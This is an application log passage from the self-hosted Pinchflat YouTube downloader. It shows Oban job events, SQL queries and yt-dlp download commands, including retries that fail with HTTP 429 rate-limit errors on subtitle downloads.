{"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.307 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:17.502 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:32.029 [info] {"args":{"id":150},"id":117,"meta":{},"system_time":1784863052029358023,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:17:32.029 [debug] QUERY OK source="media_items" db=0.1ms idle=1306.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [150] 23:17:32.029 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:17:32.030 [debug] QUERY OK source="sources" db=0.0ms idle=1306.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 23:17:32.030 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1307.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:17:32.030 [debug] QUERY OK source="media_items" db=0.1ms idle=180.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [150] 23:17:32.030 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [150] 23:17:32.031 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:17:32.031 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:32.031 [debug] Running yt-dlp command for action: get_downloadable_status 23:17:32.031 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:32.032 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:32.032 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:32.032 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/68/13/68131a994529849e60cf56202cf1f15643dc5be2874cd731bfc02dfb73294b4d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:17:34.092 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/68/13/68131a994529849e60cf56202cf1f15643dc5be2874cd731bfc02dfb73294b4d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:17:34.092 [debug] Running yt-dlp command for action: download 23:17:34.092 [debug] QUERY OK source="settings" db=0.1ms idle=369.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:34.093 [debug] QUERY OK source="settings" db=0.1ms idle=370.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:34.093 [debug] QUERY OK source="settings" db=0.1ms idle=370.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:34.093 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/99/ce/99ce5db6b57a900aa5a5813a4a491029a721466bd200dba2ce28f11071da17f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:17:38.684 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/99/ce/99ce5db6b57a900aa5a5813a4a491029a721466bd200dba2ce28f11071da17f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 23:17:38.684 [error] yt-dlp download error for media item #150: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 23:17:39.077 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":150},"id":117,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6654933,"event":"job:exception","queue_time":55379,"attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:17:41.372 [info] {"args":{"id":21},"id":29,"meta":{},"system_time":1784863061371971542,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:17:41.372 [debug] QUERY OK source="media_items" db=0.2ms idle=1279.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21] 23:17:41.372 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:17:41.372 [debug] QUERY OK source="sources" db=0.1ms idle=649.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:17:41.373 [debug] QUERY OK source="media_profiles" db=0.1ms idle=649.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:17:41.373 [debug] QUERY OK source="media_items" db=0.1ms idle=143.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21] 23:17:41.373 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [21] 23:17:41.373 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:17:41.374 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:41.374 [debug] Running yt-dlp command for action: get_downloadable_status 23:17:41.374 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:41.374 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:41.374 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:41.375 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d4/dc/d4dc2651aa48f33f45ab00bfdaa5fa1bf962b78f62ee4cb995cad3094f371820.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:17:43.402 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d4/dc/d4dc2651aa48f33f45ab00bfdaa5fa1bf962b78f62ee4cb995cad3094f371820.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:17:43.402 [debug] Running yt-dlp command for action: download 23:17:43.436 [debug] QUERY OK source="settings" db=33.7ms idle=680.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:43.437 [debug] QUERY OK source="settings" db=0.4ms idle=714.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:43.438 [debug] QUERY OK source="settings" db=0.3ms idle=714.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:43.438 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/50/a3/50a38ba0319ebf7c4d34c5187abfce3c4d1da6d56d32ef6c92d69ea65151f948.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:17:43.652 [info] {"args":{"id":51},"id":61,"meta":{},"system_time":1784863063651950763,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":13,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:17:43.652 [debug] QUERY OK source="media_items" db=0.2ms idle=217.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 23:17:43.652 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:17:43.652 [debug] QUERY OK source="sources" db=0.1ms idle=216.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:17:43.653 [debug] QUERY OK source="media_profiles" db=0.1ms idle=215.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:17:43.653 [debug] QUERY OK source="media_items" db=0.1ms idle=215.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 23:17:43.654 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 23:17:43.654 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:17:43.654 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:43.654 [debug] Running yt-dlp command for action: get_downloadable_status 23:17:43.655 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:43.655 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:43.655 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:43.655 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/aa/7a/aa7a37222e9726f1c3c3b8afe4a6afa13dcb7033980091a5d15b863c428c63c7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:17:46.427 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/aa/7a/aa7a37222e9726f1c3c3b8afe4a6afa13dcb7033980091a5d15b863c428c63c7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:17:46.427 [debug] Running yt-dlp command for action: download 23:17:46.428 [debug] QUERY OK source="settings" db=0.1ms idle=1705.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:46.428 [debug] QUERY OK source="settings" db=0.1ms idle=1705.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:46.428 [debug] QUERY OK source="settings" db=0.2ms idle=1705.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:17:46.429 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f4/3a/f43a092f6bbff2048951129c210b28e93d4579bd688d9d89013e7a17d0bbba57.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:17:46.662 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output 